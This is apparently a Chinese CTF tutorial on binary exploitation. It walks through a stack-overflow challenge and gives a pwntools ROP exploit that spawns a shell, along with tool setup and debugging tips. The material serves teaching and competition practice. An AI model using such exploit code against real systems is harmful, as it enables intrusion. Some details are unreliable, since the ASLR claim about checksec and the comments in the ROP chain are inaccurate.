共计 1624 个字符,预计需要花费 5 分钟才能阅读完成。
背景介绍
Pwn 是 CTF 比赛中涉及二进制漏洞利用的题目类型,主要考察选手对程序内存布局、汇编代码和漏洞利用的掌握程度。这类题目通常要求选手通过逆向分析找到程序漏洞,并编写 Exploit 代码获取远程服务器的 shell 或 flag。在 2020 第五空间智能安全大赛中,Pwn 题目难度适中,非常适合新手入门学习。

环境准备
工欲善其事,必先利其器。在开始分析题目之前,我们需要准备好以下工具:
- pwntools:Python 编写的 CTF 框架,用于快速开发 Exploit
- gdb-peda:增强版的 GDB 调试工具,提供更友好的反汇编界面
- checksec:检查二进制文件的安全机制
- ROPgadget:用于查找 ROP 链的工具
安装方法如下:
-
安装 pwntools
pip install pwntools -
安装 gdb-peda
git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit -
安装 ROPgadget
pip install ropgadget
漏洞分析
我们以 2020 第五空间智能安全大赛中的一道典型栈溢出题目为例。首先使用 checksec 检查二进制文件的安全机制:
checksec vuln
输出可能显示 NX enabled(不可执行栈),但未开启 ASLR(地址空间布局随机化)。这意味着我们可以通过 ROP(Return-Oriented Programming)技术绕过 NX 保护。
使用 IDA Pro 或 Ghidra 分析二进制文件,可以发现一个明显的栈溢出漏洞:
void vulnerable_function() {char buffer[64];
read(0, buffer, 256); // 明显的栈溢出
}
利用开发
下面是一个完整的 Exploit 代码示例,使用 pwntools 编写:
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
# 本地调试或远程连接
LOCAL = True
if LOCAL:
p = process('./vuln')
else:
p = remote('192.168.1.1', 9999)
# 找到 pop rdi; ret 的 gadget
pop_rdi = 0x4005f3 # 使用 ROPgadget 找到的地址
# 构造 ROP 链
payload = b'A' * 72 # 填充缓冲区
payload += p64(pop_rdi)
payload += p64(0x400500) # 目标函数地址
payload += p64(0x400400) # 返回地址
# 发送 payload
p.send(payload)
# 获取交互式 shell
p.interactive()
调试技巧
在开发 Exploit 过程中,调试是不可或缺的环节。以下是一些实用的调试技巧:
-
使用 gdb 附加进程
gdb -p $(pidof vuln) -
在关键位置设置断点
break *0x400500 -
查看内存布局
vmmap -
检查寄存器状态
info registers
安全防护
现代操作系统提供了多种安全机制来防御这类攻击:
- NX(不可执行栈):阻止在栈上执行 shellcode
- ASLR:随机化内存地址,增加 ROP 链构造难度
- Stack Canary:检测栈溢出攻击
- RELRO:保护 GOT 表不被修改
延伸学习
想要进一步提升 Pwn 技能,可以参考以下资源:
- 《漏洞战争:软件漏洞分析精要》
- LiveOverflow 的 YouTube 频道
- pwnable.kr 和 pwnable.tw 的挑战题目
练习题
- 尝试修改上面的 Exploit,使其能在开启 ASLR 的情况下工作
- 找一道简单的 Pwn 题目(如 pwnable.kr 的 fd),独立完成从分析到 Exploit 的全过程
- 学习使用 angr 等符号执行工具自动化漏洞利用
希望这篇教程能帮助你顺利入门 CTF Pwn 方向。记住,实践是最好的老师,多动手做题才能快速进步。遇到问题时,不要害怕查阅资料和请教他人。祝你在 CTF 比赛中取得好成绩!
